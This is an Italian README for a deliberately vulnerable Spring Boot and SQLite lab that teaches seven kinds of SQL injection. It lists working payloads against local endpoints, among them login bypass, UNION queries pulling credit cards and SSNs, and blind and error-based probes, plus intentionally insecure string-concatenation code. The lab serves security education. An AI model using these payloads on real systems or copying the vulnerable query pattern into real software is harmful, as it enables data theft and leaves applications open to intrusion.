Un laboratorio completo per testare e comprendere le vulnerabilità SQL Injection nelle applicazioni Java. Questo progetto dimostra approcci vulnerabili alle interazioni con il database utilizzando Spring Boot e JDBC esclusivamente per scopi educativi.
Questo progetto è stato progettato per gli sviluppatori per:
- Comprendere i vettori di attacco SQL Injection
- Imparare a identificare pattern di codice vulnerabili
- Analizzare le tecniche di attacco SQL Injection
- Studiare le vulnerabilità di sicurezza nelle applicazioni web
- Java 21 o superiore
- Maven 3.8.9 o superiore
- Spring Boot 3.5.7 (con Spring Web MVC e Thymeleaf)
- Database SQLite (embedded, in-memory con funzione SLEEP() personalizzata per test basati sul tempo)
- Browser Web Moderno (Chrome, Firefox, Edge, Safari) per accedere all'interfaccia web interattiva
Questo progetto implementa 7 tipi di attacchi SQL Injection con implementazioni vulnerabili:
| Tipo di Attacco | Implementato | Esempio | Impatto |
|---|---|---|---|
| First Order | ✅ Sì | 1' OR '1'='1 |
Estrazione diretta dei dati |
| Authentication Bypass | ✅ Sì | admin'-- o ' OR '1'='1 |
Bypassa il login |
| Second Order | ✅ Sì | Memorizza malicious' OR '1'='1 poi esegue |
Exploit ritardato |
| Boolean-based Blind | ✅ Sì | admin' AND SUBSTRING(password,1,1)='s |
Estrazione carattere per carattere |
| Time-based Blind | ✅ Sì | 1' AND SLEEP(5)-- |
Estrazione basata sui tempi con funzione SLEEP() personalizzata |
| UNION-based | ✅ Sì | ' UNION SELECT credit_card FROM sensitive_data-- |
Estrazione dati da più tabelle |
| Error-Based | ✅ Sì | 1' o 1 AND invalid_column=1 |
Estrazione dati tramite messaggi di errore |
sql-injection-lab/
├── src/
│ ├── main/
│ │ ├── java/com/sqllib/
│ │ │ ├── App.java # Punto di ingresso dell'applicazione Spring Boot
│ │ │ ├── controllers/
│ │ │ │ ├── UserController.java # Endpoint REST API (VULNERABILI - 10 endpoint)
│ │ │ │ └── WebViewController.java # Controller Web UI (7 pagine di attacco + dashboard)
│ │ │ ├── services/
│ │ │ │ └── UserService.java # Logica Business (VULNERABILE)
│ │ │ ├── repositories/
│ │ │ │ └── UserRepository.java # Accesso ai Dati (VULNERABILE)
│ │ │ ├── config/
│ │ │ │ └── DataSourceDirectoryInitializer.java # Inizializzatore directory database
│ │ │ └── utils/
│ │ │ └── DatabaseConnection.java # Utility Connessione Database
│ │ └── resources/
│ │ ├── application.properties # Configurazione Applicazione
│ │ ├── schema.sql # Schema Database
│ │ ├── static/ # Risorse statiche (CSS, JS, immagini)
│ │ │ └── css/
│ │ │ ├── dashboard.css # Stili centralizzati per dashboard
│ │ │ └── attack-pages.css # Stili centralizzati per pagine di attacco
│ │ └── templates/ # Template HTML Thymeleaf
│ │ ├── dashboard.html # Pagina principale con 7 card di attacco
│ │ ├── auth-bypass.html # Pagina attacco Authentication Bypass
│ │ ├── user-retrieval.html # Pagina attacco Data Retrieval
│ │ ├── union-injection.html # Pagina attacco UNION-Based
│ │ ├── time-based-blind.html # Pagina attacco Time-Based Blind
│ │ ├── boolean-blind.html # Pagina attacco Boolean-Based Blind
│ │ ├── error-based.html # Pagina attacco Error-Based
│ │ └── second-order.html # Pagina attacco Second Order
│ │
│ └── test/
│ ├── java/com/sqllib/
│ │ └── UserServiceTests.java # Test Integrazione (Vulnerabili - 8 test FALLISCONO quando l'injection funziona)
│ └── resources/
│ ├── application.properties # Configurazione Test
│ ├── schema.sql # Schema Database Test
│ └── init-test-db.sql # Inizializzazione Database Test
│
├── data/ # Directory database SQLite (creata automaticamente)
│ └── sqllib.db # File database SQLite persistente
│
├── pom.xml # Configurazione Maven
├── .gitignore # Regole Git Ignore
├── SQL-Injection-Lab-Vulnerable.postman_collection.json # Collezione Postman
└── README.md # Documentazione progetto
Questo progetto utilizza un'architettura a tre livelli con implementazioni vulnerabili per scopi educativi, più un'interfaccia web interattiva per il testing:
Browser → GET /auth-bypass
↓
WebViewController
↓
Template Thymeleaf (dashboard.html, auth-bypass.html, ecc.)
↓
L'utente clicca "Test Attacco" → POST /api/users?username=admin'--
↓
Flusso REST API (vedi sotto)
GET /api/users/{id}
↓
UserController (Vulnerabile)
↓
UserService (Vulnerabile)
↓
UserRepository (Concatenazione Stringhe - VULNERABILE)
↓
Database (Rischio SQL Injection!)
# Compilare senza eseguire i test
mvn clean package -DskipTests
# Compilare con i test
mvn clean package# Opzione 1: Usando Maven
mvn spring-boot:run -DskipTests
# Opzione 2: Eseguire il file JAR
java -jar target/sql-injection-lab-1.0.0.jarL'applicazione si avvierà su http://localhost:8080
L'applicazione include un'interfaccia web interattiva per testare gli attacchi SQL injection attraverso il browser:
URL Dashboard: http://localhost:8080
- 🎨 UI Moderna con 7 Card di Attacco: Ogni card rappresenta una diversa tecnica di SQL injection
- 🔴 Sezione Vulnerabile: Testa i payload e vedi come funziona la SQL injection in tempo reale
- Payload Click-to-use: Esempi di attacco preconfigurati che popolano automaticamente i campi di input
- 🎯 Effetti Hover: Feedback visivo sugli elementi interattivi
- 🔄 Pulsante Reset Database: Ripristina il database allo stato iniziale con un click
- 📊 Risultati in Tempo Reale: Vedi l'esecuzione della query, il tempo di risposta e i risultati dell'attacco
- 🔍 Syntax Highlighting: Evidenziazione SQL con Prism.js per migliore leggibilità
- 🎓 Focus Educativo: Impara i vettori di attacco SQL Injection
- Authentication Bypass -
/auth-bypass- Bypassa il login usando commenti SQL e OR injection - User Data Retrieval -
/user-retrieval- Estrae record multipli usando OR injection - UNION-Based -
/union-injection- Estrae dati da altre tabelle usando UNION SELECT - Time-Based Blind -
/time-based-blind- Rileva l'injection tramite ritardi nella risposta - Boolean-Based Blind -
/boolean-blind- Estrae dati carattere per carattere - Error-Based -
/error-based- Estrae informazioni tramite messaggi di errore SQL - Second Order -
/second-order- Memorizza il payload, poi esegue al recupero
- Naviga su
http://localhost:8080 - Clicca su qualsiasi card di attacco per aprire la pagina di test
- Clicca sui payload di esempio per popolare i campi di input
- Invia per vedere l'attacco in azione
- Usa il pulsante "Reset Database" per ripristinare lo stato iniziale
Importa la collezione Postman fornita per testare tutti gli endpoint vulnerabili con esempi di attacco preconfigurati:
- Apri Postman
- Clicca Import (in alto a sinistra)
- Seleziona il file:
SQL-Injection-Lab-Vulnerable.postman_collection.json - Assicurati che l'applicazione sia in esecuzione su
http://localhost:8080 - Sfoglia la collezione per testare ciascuno dei 7 tipi di SQL Injection
Funzionalità della Collezione:
- ✅ 18 richieste preconfigurate con payload di attacco
- ✅ Organizzate per tipo di SQL Injection (7 categorie)
- ✅ Esempi sia legittimi che malevoli
- ✅ Descrizioni dettagliate per ogni attacco
- ✅ Pronta all'uso - basta importare e testare!
Questi endpoint dimostrano vulnerabilità SQL Injection usando concatenazione di stringhe:
1. Ottieni Utente per ID (First Order SQL Injection)
GET http://localhost:8080/api/users/{id}Esempio attacco: http://localhost:8080/api/users/1' OR '1'='1
- Risultato attacco: Restituisce TUTTI gli utenti (admin, user, test) invece di uno solo
2. Login (Authentication Bypass)
POST http://localhost:8080/api/users/login
Content-Type: application/x-www-form-urlencoded
username=admin&password=secret123Esempi di attacco:
# Bypass con Commento SQL
username=admin'--&password=anything
# Bypass con OR 1=1
username=hackerr'' or 1=1--&password=anything- Risultato attacco: Login senza password valida
3. Second Order SQL Injection - Step 1: Memorizza Username Malevolo
POST http://localhost:8080/api/users/
Content-Type: application/x-www-form-urlencoded
username=hackerr'' or 1=1--&password=password123&email=hacker@example.com- Memorizza il payload SQL malevolo nel campo username
- Risposta:
User created with ID: 4(copia questo ID per lo Step 2!)
4. Second Order SQL Injection - Step 2: Esegui Injection Memorizzata
GET http://localhost:8080/api/users/profile/4- Risultato attacco: Restituisce TUTTE le email degli utenti invece di una sola
5. Verifica Esistenza Utente (Boolean-based Blind SQL Injection)
GET http://localhost:8080/api/users/exists/{username}Esempi di attacco:
# Estrai 1° carattere della password
http://localhost:8080/api/users/exists/admin' AND SUBSTR(password,1,1)='s
# Estrai 2° carattere della password
http://localhost:8080/api/users/exists/admin' AND SUBSTR(password,2,1)='e- Risultato attacco: Restituisce true/false per rivelare i caratteri della password
6. Ottieni Email Utente (Time-based Blind SQL Injection)
GET http://localhost:8080/api/users/email/{userId}Esempio attacco:
# Attacco basato sul tempo con funzione SLEEP() personalizzata
http://localhost:8080/api/users/email/1' AND SLEEP(5)--- Risultato attacco: La risposta impiega ~5 secondi se l'injection ha successo
7. Cerca Utenti per Nome (UNION-based SQL Injection)
GET http://localhost:8080/api/users/search?username={username}Esempi di attacco:
# Estrai carte di credito dalla tabella sensitive_data
http://localhost:8080/api/users/search?username=' UNION SELECT credit_card FROM sensitive_data--
# Estrai numeri SSN
http://localhost:8080/api/users/search?username=' UNION SELECT ssn FROM sensitive_data--- Risultato attacco: Restituisce dati sensibili invece degli username
8. Ottieni Password Utente (Error-Based SQL Injection)
GET http://localhost:8080/api/users/password/{userId}Esempio attacco:
# Sintassi SQL non valida - espone messaggio di errore del database
http://localhost:8080/api/users/password/1'- Risultato attacco: Messaggi di errore espongono struttura query e informazioni database
// ❌ VULNERABILE - Concatenazione stringhe
public String getUserById(String id) throws SQLException {
String query = "SELECT username FROM users WHERE id = '" + id + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
// Attacco: id = "1' OR '1'='1" → Restituisce sempre risultati!
}mvn test# Test Integrazione (Layer Service)
mvn test -Dtest=UserServiceTests # Test implementazione vulnerabile (8 test)# Esempio: Esegui solo test UNION-based injection
mvn test "-Dtest=UserServiceTests#testUNIONBasedInjection"
# Esempio: Esegui solo test authentication bypass
mvn test "-Dtest=UserServiceTests#testAuthenticationBypassVulnerable"mvn clean package -DskipTestsTest Vulnerabili (UserServiceTests):
- 💥 I test FALLISCONO quando la SQL injection ha successo
- Test fallito = vulnerabilità rilevata nel codice
- Ogni fallimento include payload e dati esposti
- Uso in CI/CD: test vulnerabili falliti indicano problemi di sicurezza
❌ UserServiceTests (8 test) - Test FALLISCONO quando SQL injection ha successo
Totale: 8 test di integrazione usando @SpringBootTest con database SQLite in-memory
| Componente | Versione | Scopo |
|---|---|---|
| Spring Boot | 3.5.7 | Framework Web |
| Java | 21 | Ambiente Runtime |
| SQLite | 3.49.1.0 | Database embedded in-memory con funzione SLEEP() personalizzata |
| JUnit 5 | Latest | Testing Integrazione |
| Maven | 3.8.9+ | Strumento Build |
| Thymeleaf | Latest | Template Engine |
| Bootstrap | 5.3.2 | Framework CSS |
| Font Awesome | 6.4.2 | Libreria Icone |
| Prism.js | 1.29.0 | Evidenziazione Sintassi SQL |
application.properties
spring.application.name=sql-injection-lab
server.port=8080
# Configurazione Database SQLite con funzione SLEEP() personalizzata
spring.datasource.url=jdbc:sqlite:data/sqllib.db
spring.datasource.driverClassName=org.sqlite.JDBC
spring.datasource.username=
spring.datasource.password=
# Inizializza schema database all'avvio
spring.sql.init.mode=alwaysTabella Users
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
password VARCHAR(255) NOT NULL,
email VARCHAR(100) NOT NULL
);Tabella Sensitive Data
CREATE TABLE sensitive_data (
id INT PRIMARY KEY AUTO_INCREMENT,
secret_key VARCHAR(255),
credit_card VARCHAR(16),
ssn VARCHAR(11)
);Injection diretta dove l'input malevolo viene immediatamente usato in una query SQL.
Esempio Attacco:
GET /api/users/1' OR '1'='1
# Restituisce: "admin, user, test" - TUTTI gli utenti invece di uno solo!Caso speciale di First Order injection che prende di mira i meccanismi di login.
Esempi Attacco:
# Bypass basato su commenti
username: admin'--
password: anything
# Bypass basato su OR
username: hackerr'' or 1=1--
password: anythingDati malevoli vengono prima memorizzati nel database, poi eseguiti in una query successiva quando recuperati.
Flusso:
- Fase Memorizzazione: L'utente crea un account con username malevolo:
hackerr'' or 1=1-- - Fase Recupero: Il sistema recupera lo username per ID dal database
- Fase Esecuzione: Il sistema usa lo username recuperato in un'altra query senza sanitizzazione (VULNERABILE!)
Estrae dati carattere per carattere osservando risposte vero/falso.
Esempio Attacco:
# Estrai primo carattere della password admin
GET /api/users/exists/admin' AND SUBSTRING(password,1,1)='s
# Se restituisce true, il primo carattere è 's'Estrae dati causando ritardi deliberati e misurando i tempi di risposta.
Esempio Attacco:
# Attacco time-based con funzione SLEEP() personalizzata
GET /api/users/email/1' AND SLEEP(5)--
# La risposta impiega ~5 secondi se l'injection ha successoCombina risultati da query SELECT multiple per estrarre dati da altre tabelle.
Esempio Attacco:
# Attacco UNION estrae numeri carte di credito dalla tabella sensitive_data
GET /api/users/search?username=' UNION SELECT credit_card FROM sensitive_data--
# Restituisce: 4532111122223333, 5555666677778888
# CRITICO: Espone dati finanziari da tabella diversa!Estrae dati sensibili forzando il database a generare messaggi di errore che rivelano informazioni.
Esempio Attacco:
# Sintassi SQL non valida scatena errore
GET /api/users/password/1'
# Risposta: "SQL ERROR: [SQLITE_ERROR] SQL error or missing database (unrecognized token: "'")"Informazioni Esposte:
- Struttura query e sintassi
- Tipo di database (SQLite, MySQL, ecc.)
- Esistenza tabelle e colonne
- Dettagli errore che aiutano a creare ulteriori attacchi
Dopo aver lavorato con questo progetto, dovresti comprendere:
- ✅ Fondamenti SQL Injection - Cos'è la SQL Injection e come funziona
- ✅ Vettori di Attacco - 7 diversi tipi di attacchi SQL Injection
- ✅ Pattern Codice Vulnerabile - Concatenazione stringhe e perché è pericolosa
- ✅ Architettura a Livelli - Come separare le responsabilità attraverso tre tier
- ✅ Testing Integrazione - Scrivere test che usano database reali per dimostrare vulnerabilità
- ✅ Attacchi Second Order - Comprendere vulnerabilità ad esecuzione ritardata
- ✅ Tecniche Blind Injection - Estrazione dati senza output diretto della query
- ✅ Attacchi UNION-based - Estrarre dati da più tabelle simultaneamente
- ✅ Attacchi Error-Based - Sfruttare messaggi di errore per estrarre dati sensibili
Il progetto mantiene due implementazioni parallele:
- Percorso Vulnerabile (
UserRepository,UserService,UserController)- Scopo: Dimostrare vulnerabilità SQL Injection
- Usato in testing e insegnamento
- Contiene falle di sicurezza intenzionali
- Usa sempre query parametrizzate o framework ORM (Hibernate, JPA)
- Valida e sanitizza tutti gli input utente
- Usa il principio del minimo privilegio per gli account database
- Implementa autenticazione e autorizzazione appropriate
- Usa Web Application Firewalls (WAF) per protezione aggiuntiva
- Mantieni aggiornate le dipendenze per evitare vulnerabilità note
- Esegui audit di sicurezza regolari e penetration testing
L'applicazione crea automaticamente la cartella data/ se non esiste:
- ✅
DataSourceDirectoryInitializer- Crea la directory prima dell'inizializzazione Spring Boot - ✅
DatabaseConnection.ensureDataDirectoryExists()- Crea la directory per connessioni JDBC dirette - ✅ Nessuna configurazione manuale richiesta
Implementazione personalizzata della funzione SLEEP() per SQLite:
// Registrata in DatabaseConnection.registerSleepFunction()
// Permette attacchi time-based blind come MySQL
SELECT * FROM users WHERE id=1 AND SLEEP(5)I contributi sono benvenuti! Sentiti libero di:
- Segnalare problemi o vulnerabilità
- Suggerire miglioramenti
- Aggiungere più casi di test
- Migliorare la documentazione
Questo progetto è fornito così com'è a scopi educativi.
Creato come laboratorio educativo per il testing e l'apprendimento delle vulnerabilità SQL Injection.
Ultimo Aggiornamento: 12 Novembre 2025
Versione Spring Boot: 3.5.7
Versione Java: 21
Suite Test: 8 test di integrazione - dimostrano come le SQL injection sfruttano codice vulnerabile
Tipi SQL Injection: 7 tipi implementati
Endpoint API: 8 endpoint vulnerabili per scopi educativi
Interfaccia Web: 7 pagine di attacco + dashboard interattiva
Funzionalità Personalizzate: Funzione SLEEP() per testing SQL injection time-based